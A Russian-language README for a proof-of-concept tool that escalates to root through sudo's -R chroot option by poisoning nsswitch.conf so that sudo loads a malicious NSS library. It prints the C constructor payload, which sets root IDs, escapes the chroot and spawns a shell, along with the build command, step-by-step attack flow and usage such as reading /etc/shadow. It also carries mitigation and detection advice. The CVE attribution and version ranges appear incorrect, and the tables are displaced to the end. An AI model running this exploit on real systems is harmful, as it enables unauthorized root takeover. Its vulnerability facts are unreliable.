
Эксплойт PoC для CVE-2023-42456, демонстрирующий повышение привилегий через перехват библиотеки NSS в sudo с помощью внедрения chroot. Включает автоматическое определение версии, генерацию полезной нагрузки и выход из chroot для авторизованного тестирования безопасности.
Автор: 0xb0rn3 | 0xbv1
Тип: Proof of Concept (PoC) Инструмент для исследований безопасности
CVE: CVE-2023-42456
Техника: Внедрение библиотеки NSS через chroot в sudo -R → повышение привилегий до root
Этот инструмент разработан только для авторизованного тестирования на проникновение и образовательных исследований безопасности. Запускайте его исключительно на системах, которыми вы владеете или на которые имеете явное письменное разрешение для тестирования. Автор(ы) не несут ответственности за любое неправомерное использование. Несанкционированное использование незаконно.
Xpl0it — это proof-of-concept, который использует ошибку в модели доверия обработки динамической загрузки библиотек NSS (Name Service Switch) в sudo при использовании флага -R (chroot). На уязвимых версиях sudo атакующий, контролирующий каталог chroot, может отравить nsswitch.conf внутри него, заставляя sudo загрузить вредоносную общую библиотеку в то время как он всё ещё обладает повышенными привилегиями — до любого снижения учётных данных.
При успешном запуске инструмент перенаправляет вас в оболочку root или выполняет любую указанную вами команду с uid=0 gid=0.
Этот инструмент нацелен исключительно на CVE-2023-42456. Уязвимость присутствует в двух ветках выпуска, каждая из которых имеет отдельный исправляющий коммит:
Важно: sudo 1.9.17 и новее не уязвимы. В более ранних инструментах и публикациях ошибочно указывался диапазон "1.9.14–1.9.17". Этот инструмент выполняет определение версии по веткам, чтобы избежать ложных срабатываний.
Следующие CVE не эксплуатируемы с помощью этой техники и намеренно исключены для предотвращения ложных срабатываний:
| CVE | Техника | Почему исключена |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Переполнение кучи | Совершенно другой вектор атаки |
| CVE-2021-23239 | Состояние гонки в sudoedit | Другая техника |
| CVE-2021-23240 |
sudo -R требует явной директивы ChrootDir= в записи sudoers для целевого пользователя. Один только NOPASSWD не даёт разрешения на -R.
Без ChrootDir sudo полностью отклоняет флаг -R:
sudo: you are not permitted to use the -R option with bridge
Запись sudoers, допускающая эту эксплуатацию, должна выглядеть так:
# Неограниченный путь chroot (идеальное условие атаки)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Путь chroot с ограничением (инструмент автоматически адаптирует staging-каталог)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Конкретный путь (инструмент создаёт staging внутри разрешённого пути)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it анализирует вывод sudo -l на наличие ChrootDir перед любой подготовкой и досрочно завершает работу с понятным объяснением, если разрешение отсутствует.
sudo -R bridge bridge
│
├─ sudo вызывает chroot("./bridge") ← атакующий контролирует этот каталог
│
├─ sudo должен определить информацию о вызывающем пользователе
│ └─ загружает /etc/nsswitch.conf из chroot
│ └─ "passwd: files bridge90"
│ └─ динамический компоновщик загружает libnss_bridge90.so.2
│ └─ __attribute__((constructor)) срабатывает
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ выход из chroot → выполнение payload
│
└─ получена оболочка root
Шаг 1 — Разведка
Собирает информацию об ОС, версии ядра, архитектуре, текущем контексте пользователя и всех допустимых путях поиска библиотек. Обнаруживает включение AppArmor/SELinux и статус NoNewPrivs — всё это может молча заблокировать эксплуатацию, если активно.
Шаг 2 — Определение версии
Разбирает sudo --version и проверяет диапазон двух веток, подверженных CVE-2023-42456, с точностью до уровня исправления. Завершает работу с объяснением, если версия исправлена или вне диапазона.
Шаг 3 — Проверка разрешения ChrootDir
Анализирует sudo -l на наличие директив ChrootDir=. Если отсутствует, немедленно завершает работу. Если ограничено конкретным путём, автоматически нацеливается на этот путь для staging, чтобы sudo принял вызов -R.
Шаг 4 — Предэксплуатационный зонд
Строит одноразовый минимальный chroot и запускает безвредный вызов sudo -R перед любой реальной подготовкой. Подтверждает, что sudo дойдёт до разрешения NSS, и отлавливает отклонения "not permitted" на ранней стадии.
Шаг 5 — Генерация payload
Пишет bridge90.c — общую библиотеку на C с функцией __attribute__((constructor)) (_nss_bridge90_init), которая срабатывает в момент загрузки динамическим компоновщиком:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// выход из chroot: mkdir подкаталога → chroot глубже →
// 40x "../" переход → перезакрепление chroot на реальный /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Шаг 6 — Настройка окружения
Строит убедительный chroot внутри staging-каталога:
bridge/etc/nsswitch.conf — отравлен для загрузки NSS-сервиса bridge90bridge/<lib_path>/libnss_bridge90.so.2 — payload, развёрнутый во все обнаруженные пути библиотек (покрытие multilib)bridge/bin/bridge — фиктивный исполняемый файл, который sudo должен найти для продолжения после проверок перед выполнениемbridge/bin/sh, bridge/bin/bash — оболочки с правильным интерпретатором ELF (определяется через readelf -l)bridge/etc/ld.so.conf — покрывает все пути библиотек, чтобы ldconfig -r построил корректный кешШаг 7 — Компиляция
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — отсутствие стандартного стартового кода; constructor обрабатывает всё-Wl,-soname — правильное SONAME для разрешения имён NSS-Wl,-init — __attribute__((constructor)) достаточно; добавление -Wl,-init вызывает двойной вызов и является ошибкойПосле компиляции nm -D проверяет, что символ constructor присутствует в таблице динамического экспорта.
Шаг 8 — Выполнение
Запускает sudo -R bridge bridge из staging-каталога. NSS разрешает bridge90 → загружает нашу библиотеку → срабатывает constructor с повышенными привилегиями → выход из chroot выполняется → root shell.
Реализация -R в sudo доверяет содержимому каталога chroot, в который она входит. До исправления sudo не проверял, не было ли окружение chroot подделано. Поскольку пользователь, предоставляющий путь chroot, контролирует его содержимое — включая nsswitch.conf и ссылающиеся на него библиотеки NSS — он может перенаправить загрузку библиотек на произвольный код, который выполняется до того, как sudo произведёт снижение привилегий.
Обновить sudo
Обновитесь до 1.9.15p2, 1.9.16p2 или любой версии 1.9.17+. Эти версии проверяют окружение chroot, прежде чем разрешать разрешение NSS внутри него.
# Проверьте версию
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Проверить директивы ChrootDir
Просмотрите /etc/sudoers и все файлы в /etc/sudoers.d/. Удалите записи ChrootDir=, если они не требуются явно. Ограничьте подстановочные знаки — предпочтительнее ChrootDir=/specific/path, чем ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Сигнатуры в журналах аудита
# auditd — обнаружение вызовов sudo -R (редкие в легитимном использовании)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Подозрительные индикаторы
sudo -R в журналах — легитимное использование в production крайне редко/tmp с именами, соответствующими sudobridge.*libnss_*.so.2 в /tmp или каталогах, доступных для записи пользователюgcc из сессий пользователей, не относящихся к сборке системыsetreuid/setregid от процессов, не принадлежащих root# Сделать исполняемым
chmod +x Xpl0it
# Войти в оболочку root (по умолчанию)
./Xpl0it
# Выполнить конкретную команду от имени root
./Xpl0it -c "id && cat /etc/shadow"
# Режим отладки — подробный вывод, staging-каталог сохраняется при выходе
./Xpl0it -d
# Запрашивать подтверждение при несоответствии версии
./Xpl0it -v
# Комбинация флагов
./Xpl0it -v -d -c "/bin/bash"
Запись sudoers для целевого пользователя также должна содержать ChrootDir= — инструмент проверяет это автоматически и быстро завершается с объяснением, если оно отсутствует.
Если эксплуатация не удалась, запустите с -d, чтобы сохранить staging-каталог и проверить:
Частые причины неудач:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2)Приветствуются вклады, улучшающие точность, переносимость или охват обнаружения. Пожалуйста, следуйте принципам ответственного раскрытия и сценариям использования авторизованного тестирования.
Xpl0it предназначен только для авторизованных исследований безопасности. Перед тестированием на системах, которые вам не принадлежат, всегда получайте явное письменное разрешение.
| Ветка | Уязвима | Исправлена в |
|---|
| 1.9.14.x | все (1.9.14 – 1.9.14p2) | N/A (вся ветка подвержена) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | не подвержена | исправление влито в вышестоящую ветку до выпуска |
| Обход символической ссылки роли SELinux |
| Другая техника |
| Слой | Действие |
|---|
| Патч | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Удалите ChrootDir=*; используйте только конкретные пути |
| MAC | Профили AppArmor/SELinux, блокирующие недоверенные dlopen() |
| Файловая система | Монтируйте /tmp и пользовательские каталоги с noexec,nosuid |
| IMDSv2 | На облачных инстансах требуйте доступ к метаданным на основе токенов |
| Мониторинг | Оповещения auditd при вызовах sudo -R |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS предотвращает работу setreuid() |
| Флаг | Описание |
|---|
-c, --command <команда> | Команда для выполнения после повышения привилегий (по умолчанию: /bin/bash) |
-d, --debug | Подробный отладочный вывод; сохраняет staging-каталог при выходе |
-v, --verbose | Запрашивать подтверждение, если версия за пределами затронутого диапазона |
-h, --help | Показать справку |
--version | Вывести версию |
| Зависимость | Требуется | Назначение |
|---|
gcc | Да | Компиляция общей библиотеки NSS на целевой системе |
sudo | Да | Целевой бинарный файл |
ldconfig | Да | Построение ld.so.cache внутри chroot |
readelf | Да | Определение пути интерпретатора ELF |
grep, awk, sed, find | Да | Стандартные утилиты |
strace, ltrace, gdb | Опционально | Расширенная отладка |
nm | Опционально | Проверка символа constructor |
| Проверка | Путь | На что смотреть |
|---|
| Журнал компиляции | $STAGE/logs/compile.log | Ошибки gcc |
| Журнал ldconfig | $STAGE/logs/ldconfig.log | Ошибки построения кеша |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Библиотека | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | должна существовать |
| Sudoers | sudo -l | должно отображаться ChrootDir= |
| Ошибка | Причина |
|---|
not permitted to use the -R option | ChrootDir= отсутствует в sudoers |
| Код выхода 1, нет ошибки NSS | Версия sudo исправлена |
| Библиотека не загружается молча | AppArmor/SELinux блокирует dlopen() |
setreuid игнорируется | NoNewPrivs=1 у процесса |
| Библиотека не найдена | Не удался ldconfig -r, и резервная символическая ссылка недостаточна |